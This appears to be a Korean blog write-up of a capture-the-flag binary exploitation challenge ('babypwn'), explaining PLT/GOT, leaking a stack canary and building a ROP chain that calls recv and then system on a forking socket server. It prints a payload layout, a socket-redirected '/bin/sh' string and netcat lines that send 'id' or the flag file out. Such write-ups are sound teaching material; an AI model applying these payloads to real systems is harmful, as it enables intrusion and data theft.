라이브러리가 동적 링크되어있는 것을 알 수 있다. 즉, plt got 과정을 거쳐서 필요한 함수만 호출한다.

PLT(Procedure Linkage Table)

PLT는 일종의 실제 호출 코드를 담고 있는 테이블로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 됩니다.. 

GOT(Global Offset Table)

GOT는 PLT가 참조하는 테이블로써 프로시져들의 주소를 가지고 있습니다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를 참조해서 해당 주소로 점프하게 됩니다.


ex) scanf함수호출이 처음일 경우

[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조]--->[다시PLT로 이동]--->[_dl_runtime_resolve]--->[GOT 저장 후, 실제 함수 주소로 점프]

[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조] ---> [scanf함수로 점프]


ckecksec쉘 스크립트를 통해서 실행파일이 스택 카나리와 NX가 적용되어 있는 것을 알 수 있다.

즉 이용해야 할것     1.Canary leak     2.ROP 



ida를 이용해서 main을 분석해보니 fork를 사용하는 소켓 서버이고 소켓과 관련없는 함수 sub_8028B87(); 덩그러니있다.

내부로 들어가본다.



노란 부분의 첫번째 함수를 보니

이런 문자열을 출력하고 다음 함수 내부를 보면...



4번 줄에 char v2를 보면 ebp-34h이고 카나리인 v3는 ebp-Ch이기 때문에 

1. v2는 0x34-0x0c인것을 알 수 있다.

2. 8번 라인에 memset는 대부분 memset(string,0,strlen(string))과 같은 구조로 사용 되기 때문에  v2가 40바이트라는 것을 유추 할 수 있다.



노란 부분이 100바이트를 받는 걸로 봐서 취약한것으로 의심이 된다.


내부를 보면 recv()로 소켓으로부터 데이터를 수신한다.

이제 카나리를 읽어본다.


카나리 첫바이트가 null이여서 leak이 안되는 것으로 의심된다. A를 하나 더 넣고 돌려보면



카나리값도 출력된다. 값은 0x5695be00


스택구조를 그려보자면 

<낮은주소----v2(40)+canary(4)+dummy(0xc-4)+sfp(4)+ret(4)----높은주소>

위와 같다.


페이로드

<낮은주소----buffer(40) | canary(4) | dummy(12) | recv@plt(4) | ppppr_addr(4) | recv 1번째 인자 4(4) | bss_addr(4) | len(sh) (4) | 

recv 4번째 인자 0(4) | system@plt(4) | dummy(4) 원랜 ret어드레스 | bss_addr (4)----높은주소>


recv()함수의 3번째 인자의 자료형인 size_t는 32/64환경에 따라 4바이트, 8바이트이다.
파이썬프로그램은 소켓디스크립터는 4를 사용한다.
ps -ef 명령어를 사용하면 pts가 4이다.
oiehso0    9092   6377  0 11:20 pts/4    00:00:00 python remote.py

recv함수 레퍼런스 : http://forum.falinux.com/zbxe/index.php?document_srl=441107&mid=C_LIB


시나리오

1.recv함수가 실행되며 ebp+8 부터 4개의 인자를 이용해 실행된다. recv함수가  bss_addr에 cmd 문자열을 담는 과정

2.종료후 원래 ret주소인 ppppr_addr자리가 ppppr_addr로 변조 되었으므로 스택보인터가 네번 내려가고 ret명령을 호출한다. ret은 pop eip + jmp eip의 줄임이다.

3.system함수가 호출되어 시나리오 1번과정에서 담았던 bss_addr의 문자열을 인자로 하여 실행된다. system 함수는 ebp+8의 인자를 사용한다.


ida가 구해놓은 system@plt와 recv@plt의 주소를 얻고



objdump -h babypwn 명령어를 이용하여 bss영역의 주소를 구해준다.



objdump -d babypwn 명령어를 이용해서 pppr_addr을 구해준다 좀만 위로 올리니까 바로 발견할 수 있었다.





최종


sh = "/bin/sh >&4 <&4 2>&4를 설명하자면 exploit.py << 이 프로그램이 실행되는 동안 출력(>&4), 입력(<&4), 오류(2>&4)를 리다이렉션한다.

아니면 위 대신

r.send('id | nc localhost 6666')

r.send('cat flag | nc localhost 6666') 

이런식으로 코드를 짜도 된다.




'CTF' 카테고리의 다른 글

[SSG] easy_linux_reversing  (0) 2018.05.02
[PlaidCTF 2013] ropasaurusrex  (0) 2018.02.07

+ Recent posts